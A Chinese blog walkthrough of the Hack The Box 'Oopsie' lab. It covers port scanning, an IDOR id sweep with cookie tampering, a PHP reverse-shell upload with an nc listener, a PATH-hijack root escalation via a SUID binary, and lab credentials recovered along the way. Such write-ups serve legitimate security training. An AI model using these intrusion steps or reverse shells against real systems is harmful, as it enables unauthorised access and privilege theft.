hack the box oopsie 靶场练习

扫描收集信息

今天来练习hack the box中的oopsie靶场,如何连接这里不做过多赘述。

连接过程可以参考上一篇博客进行了解:https://blog.csdn.net/rpsate/article/details/119190220

首先扫描一下端口与服务信息

nmap -sV -F 10.10.10.28

-sV 代表扫描端口和开放的服务信息

-F 快速扫描,扫描常用的端口

在这里插入图片描述

好我们看到了开放了80端口,应该是一台WEB服务器,我们通过浏览器访问一下这个IP试一下。

在这里插入图片描述

果然出现了网页,接下来我们就从这个WEB中寻找突破口。

寻找后台

按F12查看一下网页的源代码,看有没有路径泄露。如果是在公网上的网站可以通过google语法很快的找到后台。

google语法可以参考博客:https://blog.csdn.net/u014565127/article/details/53842885

在这里插入图片描述

这里有个login,估计是个登陆的目录,尝试访问一下这个目录里的页面。很幸运,打开的确实是后台的登陆页面。如果在前端代码中没有找到目录可以用目录扫描工具进行扫描来获取后台地址。

在这里插入图片描述

登陆后台

遇到这样的没有验证码的后台,想到的第一中方法是暴力破解。先不要急着用字典去猜解密码,可以尝试用一下上一个靶机中获取到的密码M3g4c0rp123MEGACORP_4dm1n!!账号可以尝试用一下 adminadministratorroot等这些高频使用账号。经过测试最终得到账号和密码分别为 adminMEGACORP_4dm1n!!。登陆后会看到一个上传文件的页面,但是提示说上传文件需要超级管理员权限。

在这里插入图片描述

越权

在这种情况下有可能会有越权漏洞,也有可能会有SQL注入漏洞,先用burp suite抓取个包分析一下。在点击导航栏上的Account后抓取到了一个关键的数据包。

在这里插入图片描述

尝试将id随便修改成一个数据并发送数据包,发现原来有的账号信息不见了,这说明修改id是有效的。我们接下来尝试遍历一下1到100的id,看看会不会遍历到超级管理员的id。

在这里插入图片描述在这里插入图片描述

for i in `seq 1 100`; do echo $i >>id.txt;done

这段shell的意思是创建一个id.txt文件,并把1到100分别写入这个文件。然后再burp suite的抓取数据包的页面右击,然后选择send to Intruder。

在这里插入图片描述

来到intruder页面,配置好需要攻击的IP地址和端口号。

在这里插入图片描述

然后来到positions选项卡,清除所有标记,然后单独给id的值添加上标记,并选择sniper的攻击模式。

在这里插入图片描述

然后来到payloads选项卡,payload set选择1,这代表选择第一个被标记的值。payload type选择simple list,这翻译成中文就是简单列表,这会让burp suite载入该选项下面列表里面的值。现在列表是空的,我们需要点击load item from file按钮来载入我们刚刚生成的文件id.txt。载入后如下图所示。

在这里插入图片描述

然后来到options选项卡,将Number of threads(线程数)设置为1。然后点击攻击按钮start attack。

在这里插入图片描述

在全部访问完成后点击length,按照返回数据包长度进行排序。发现有几个数据包的长度明显与其他数据包不同。

在这里插入图片描述

查看一下这些数据包的返回结果,最后在id为30的数据包中发现了supper admin,说明这个id是超级管理员的id。记住他的账号 supper admin与access ID 86575
在这里插入图片描述

然后修改该网站的cookie,通过cookie管理插件将cookie中role修改为supper admin,将user修改为88575。

在这里插入图片描述

然后打开上传页面看看,发现现在可以上传文件了,越权成功。

在这里插入图片描述

反弹shell

cp /usr/share/webshells/php/php-reverse-shell.php ~/Documents/oopise

将kali自带的shell文件复制到工作目录,并修改该文件里的IP地址为本机虚拟网卡的IP地址,并且记住端口号。

在这里插入图片描述

nc -lvnnp 1234

-l 代表监听模式

-v 代表输出详细报告

-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

-p 指定端口号

监听1234端口,然后上传刚才的shell文件。如下图所示已经上传成功,但是没有提示上传的地址在哪里。我们可以尝试着访问常见的上传文件目录uploads、upload等等。

在这里插入图片描述

在访问 http://10.10.10.28/uploads/php-reverse-shell.php后发现监听窗口提示反弹shell成功了。如果网站没有这几个目录则可以用目录扫描软件扫描该网站的目录结构。

在这里插入图片描述

但是这个获取到的shell是一个非交互式的shell,所以我们需要升级一下该shell,当命令行向本地运行的一样出现了账号和目录则说明运行升级成功。执行一下命令:

SHELL=/bin/bash script -q /dev/null

SHELL是环境变量,它的值代表系统执行shell的文件位置。

script命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行script并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。

-q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。

/dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。

更详细内容可以参考:

https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令

https://blog.csdn.net/longerzone/article/details/12948925,linux下的两个特殊文件——/dev/null 和 /dev/zero 简介及对比

在这里插入图片描述

cat /home/robert/user.txt

现在可以读取桌面下的user.txt文件取flag了。

在这里插入图片描述

权限提升

id

首先通过 id命令来查看一下自己的用户组。

在这里插入图片描述

现在我们到网站的目录下查找一下,看有没有数据库的配置文件,并在配置文件中发现了一个账号和密码。

在这里插入图片描述

尝试一下切换到该账户,发现成功切换到了该用户。并再次通过id命令查看该用户的用户组。通过sudo -l查看有没有可以执行sudo的用户。

su robert		//切换到robert用户
id				//查看自己的用户组
sudo -l			//查看有哪些用户可以执行sudo

在这里插入图片描述

查看一下这两个组的命令执行权限,在用户组robert中没发现特殊的文件。在bugtrackert用户组中发现了一个比较特殊的文件。

find / -type f -group robert 2>/dev/null
find / -type f -group bugtrackert 2>/dev/null

/ 是根目录,代表find将会在根目录中开始查找文件

-type 代表需要查找的类型,f代表文件类型

-group 代表需要查找文件的所属组

2 代表执行该命令中产生的错误信息

/dev/null在之前已介绍

更详细信息可以参考:

https://www.cnblogs.com/hchan/p/12882131.html,linux find命令详解

https://www.zhihu.com/question/53295083,shell程序中 2>/dev/null代表什么意思

在这里插入图片描述

在这里插入图片描述

首先来到 /usr/bin/目录,通过命令 ls -la查看一下该文件的权限。

ls -la bugtrackert

在这里插入图片描述

我们发现该文件有s权限并且该文件所有者是root,s权限代表其他用户在执行该文件时会以该文件的所有者的身份执行。在这里也就是以root的权限执行该文件。

关于s权限更详细的信息可以查看:

https://www.cnblogs.com/yiyide266/p/10047340.html,linux权限s权限和t权限

strings bugtracker

strings和cat的功能类似,但是strings可以查看二进制文件,如果用cat查看二进制文件会出现乱码。

然后我们通过strings查看该二进制文件,发现该文件中会执行cat命令。如果我们将cat命令换成其他恶意命令的话,系统会以root的权限执行我们的恶意命令。但是这是个二进制文件,我们该如何修改呢?

在这里插入图片描述

我们可以看到该cat命令不是以绝对路径写入的。系统在执行该cat命令时,首先会在环境变量PATH指向的目录中去寻找cat,当第一次找到cat后马上停止寻,并执行该cat。我们可以在环境变量PATH的最前面添加一个目录,并在该目录中添加一个恶意cat文件。这样系统第一个找到的cat将会是自己伪造的cat,并且会以root的权限执行该恶意cat。

export PATH=/tmp:$path		//在环境变量的第一个位置添加/tmp目录
echo "/bin/bash">/tmp/cat	//将/bin/bash写入cat,执行/bin/bash后会打开一个新的shell命令行
chmod +x /tmp/cat			//赋予cat执行的权限

在这里插入图片描述

然后执行bugtracker文件,根据文件提示随便输入一个ID,这里就以输入1为例。系统成功的以root权限执行了 /bin/bash了,在这个新的命令行中具有了root权限。 可以通过whoami 查看一下自己的权限,甚至可以通过 passwd来修改root的密码。

在这里插入图片描述

more /root/root.txt

现在可以通过more查看 /root/root.txt来获取flag了,注意现在不用能cat命令来读取文件了,cat只会让你打开一个新的shell而已。

在这里插入图片描述

后记

/root/.config/filezilla目录下有一个FileZilla配置文件filezilla.xml,里面包含FTP的账号和密码ftpuser/mc@F1l3ZilL4,可以用于下一个靶机的渗透。

参考文献

[1] https://blog.csdn.net/qq_45951598/article/details/115353115,渗透测试练习靶场hackthebox_Oopsie

[2] https://www.linkedin.com/pulse/hack-box-starting-point-oopsie-nathan-barnes,Hack the Box - Starting Point: Oopsie

[3] https://www.zhihu.com/question/53295083,shell程序中 2> /dev/null 代表什么意思?

[4] https://www.cnblogs.com/hchan/p/12882131.html,linux find命令详解

[5] https://www.cnblogs.com/yiyide266/p/10047340.html,linux权限s权限和t权限

[6] https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令

[7] https://blog.csdn.net/longerzone/article/details/12948925,Linux 下的两个特殊的文件 – /dev/null 和 /dev/zero 简介及对比

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值